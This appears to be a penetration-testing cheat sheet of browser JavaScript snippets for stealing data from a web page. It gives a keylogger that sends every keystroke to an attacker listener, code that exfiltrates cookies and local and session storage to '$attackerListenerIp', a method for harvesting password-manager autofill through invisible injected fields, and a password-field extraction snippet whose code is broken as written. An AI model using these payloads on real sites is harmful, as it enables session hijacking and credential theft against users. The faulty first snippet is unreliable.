Get hidden content from password fields

Sce­nario:

• You analyse a sys­tem where a user­name / pass­word was auto­mat­i­cal­ly filled out.
• You want to extract the password.

Use JavaScript for extrac­tion. Copy and pase the fol­low­ing into the web browser’s console:

let fields = document.getElementsByTagName("input");
for (let field in fields) {
  console.log(input.value);
}

Extract keystrokes live from a Browser

Sce­nario:

• You have access to a JS con­sole from some user.
• You want to log the key­strokes of a page.

Do:

1. Open a lis­ten­er on an own serv­er, e.g. python -m http.server 80
2. Paste the fol­low­ing JS in the web browser’s console:

function logKey(event){
  fetch("http://$attackerListenerIp/k?key=" + event.key)
}
document.addEventListener('keydown', logKey);

Extract Cookies

Sce­nario:

• You can inject JS (XSS / direct access) and want to get all cookies.

Inject/Do:

let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://$attackerListenerIp/d?data=" + encodedCookie)

Extract local / session storage

Like above:

let data = JSON.stringify(localStorage)
let encodedData = encodeURIComponent(data)
fetch("http://$attackerListenerIp/d?data=" + encodedData)

let data = JSON.stringify(sessionStorage)
let encodedData = encodeURIComponent(data)
fetch("http://$attackerListenerIp/d?data=" + encodedData)

Stealing site passwords

Sce­nario:

• A pass­word man­ag­er is used by a user where you can inject JS.

Then, inject JS which adds an invis­i­ble user/username/name text field and a field with type="password". Wait some sec­onds and then, extract the val­ue of these fieds. If a pass­word man­ag­er is in place, it may have filled in sen­si­tive data automatically.